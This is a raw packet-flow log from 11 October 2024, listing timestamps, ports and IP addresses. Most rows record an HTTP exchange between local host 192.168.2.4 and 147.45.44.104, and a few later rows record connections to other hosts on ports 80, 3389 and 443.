Oct 11, 2024 23:07:05.882460117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882472038 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.882508993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882540941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882556915 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.882574081 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882601976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882622957 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.882635117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882675886 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.882683039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882731915 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882770061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882781029 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.882800102 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882833004 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882843018 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.882863998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882895947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882913113 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.882937908 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882972956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.882986069 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.883004904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883035898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883052111 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.883069038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883100033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883115053 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.883131027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883162975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883178949 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.883197069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883239985 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.883416891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883445978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883479118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883493900 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.883563042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883594990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883611917 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.883626938 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883673906 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.883677006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883709908 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883753061 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.883758068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883795023 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883826017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883841991 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.883860111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883888006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.883909941 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.929316044 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.964658022 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.964706898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.964750051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.964787006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.964787006 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.964834929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.971976042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972009897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972068071 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972069025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972098112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972146034 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972147942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972198009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972251892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972261906 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972285032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972326040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972332954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972383022 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972414970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972430944 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972465038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972495079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972513914 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972541094 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972573042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972583055 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972620010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972654104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972662926 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972683907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972716093 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972726107 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972747087 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972779989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972790003 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972810984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972841978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972855091 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972872972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972903967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972917080 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.972935915 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972970009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.972976923 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.973000050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973032951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973045111 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.973063946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973095894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973109007 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.973691940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973723888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973746061 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.973773956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973824978 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.973824978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973875046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973906040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973925114 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.973939896 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973973036 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.973993063 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.974004984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.974035978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.974050045 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:05.974066973 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.974098921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:05.974108934 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.023221970 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.054285049 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.054330111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.054367065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.054454088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.054470062 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.054482937 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.054523945 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.061768055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.061801910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.061835051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.061850071 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.061889887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.061897039 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.061995029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062022924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062047958 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.062073946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062108040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062124014 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.062156916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062189102 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062206030 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.062221050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062252998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062264919 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.062284946 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062319040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062329054 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.062453032 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062484026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062500954 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.062516928 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062550068 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062562943 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.062581062 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062613010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062623024 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.062736988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062783957 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.062861919 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062895060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062943935 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.062956095 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.062977076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.063008070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.063019991 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.063040972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.063086033 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.063106060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.063138962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.063189030 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.064659119 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.064692020 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.064730883 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.064763069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.064779043 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.064795017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.064815998 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.064826965 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.064858913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.064882994 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.064888954 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.064920902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.064939022 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.064953089 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.064990044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.065012932 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.065021992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.065053940 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.065072060 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.117135048 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.144484043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.144567966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.144601107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.144634962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.144783020 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.144783020 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.151602983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.151638031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.151669025 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.151742935 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152060986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152091026 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152138948 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152139902 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152173042 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152194977 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152204037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152235985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152261972 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152270079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152302980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152333021 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152487040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152537107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152539968 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152587891 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152620077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152650118 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152653933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152686119 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152712107 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152735949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152767897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152793884 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152800083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152831078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152851105 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152862072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152893066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152909994 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152925968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152959108 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.152976036 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.152992010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.153023005 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.153042078 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.153057098 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.153150082 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.153332949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.153364897 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.153398037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.153417110 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.154563904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.154627085 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.154656887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.154690981 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.154728889 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.154745102 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.154783010 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.154814005 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.154833078 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.154846907 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.154876947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.154895067 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.154910088 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.154941082 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.154959917 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.154973030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.155004025 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.155019045 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.155039072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.155066967 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.155086040 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.195121050 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.234268904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.234359980 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.234412909 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.234448910 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.234502077 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.234525919 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.241244078 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.241278887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.241312981 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.241358042 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.241806030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.241838932 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.241858959 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.241872072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.241916895 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.241960049 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.241992950 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242026091 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242063046 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.242074013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242124081 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.242124081 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242152929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242199898 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.242202044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242233992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242264986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242275000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.242296934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242328882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242347956 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.242361069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242393970 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 11, 2024 23:07:06.242413044 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:06.288683891 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 11, 2024 23:07:43.629339933 CEST	49738	80	192.168.2.4	172.67.74.152
Oct 11, 2024 23:07:43.634392023 CEST	80	49738	172.67.74.152	192.168.2.4
Oct 11, 2024 23:07:43.634501934 CEST	49738	80	192.168.2.4	172.67.74.152
Oct 11, 2024 23:07:43.634610891 CEST	49738	80	192.168.2.4	172.67.74.152
Oct 11, 2024 23:07:43.639468908 CEST	80	49738	172.67.74.152	192.168.2.4
Oct 11, 2024 23:07:44.096548080 CEST	80	49738	172.67.74.152	192.168.2.4
Oct 11, 2024 23:07:44.098186016 CEST	49739	3389	192.168.2.4	8.46.123.33
Oct 11, 2024 23:07:44.103528976 CEST	3389	49739	8.46.123.33	192.168.2.4
Oct 11, 2024 23:07:44.103833914 CEST	49739	3389	192.168.2.4	8.46.123.33
Oct 11, 2024 23:07:44.103921890 CEST	49739	3389	192.168.2.4	8.46.123.33
Oct 11, 2024 23:07:44.106416941 CEST	49738	80	192.168.2.4	172.67.74.152
Oct 11, 2024 23:07:44.111309052 CEST	3389	49739	8.46.123.33	192.168.2.4
Oct 11, 2024 23:07:44.111407995 CEST	49739	3389	192.168.2.4	8.46.123.33
Oct 11, 2024 23:07:44.111480951 CEST	80	49738	172.67.74.152	192.168.2.4
Oct 11, 2024 23:07:44.209269047 CEST	80	49738	172.67.74.152	192.168.2.4
Oct 11, 2024 23:07:44.257533073 CEST	49738	80	192.168.2.4	172.67.74.152
Oct 11, 2024 23:07:44.315470934 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 23:07:44.315520048 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:44.315598011 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 23:07:44.376265049 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 23:07:44.376292944 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:44.881001949 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:44.881084919 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 23:07:44.892426968 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 23:07:44.892451048 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:44.892925024 CEST	443	49740	188.114.96.3	192.168.2.4
Oct 11, 2024 23:07:44.945014000 CEST	49740	443	192.168.2.4	188.114.96.3
Oct 11, 2024 23:07:44.955846071 CEST	49740	443	192.168.2.4	188.114.96.3
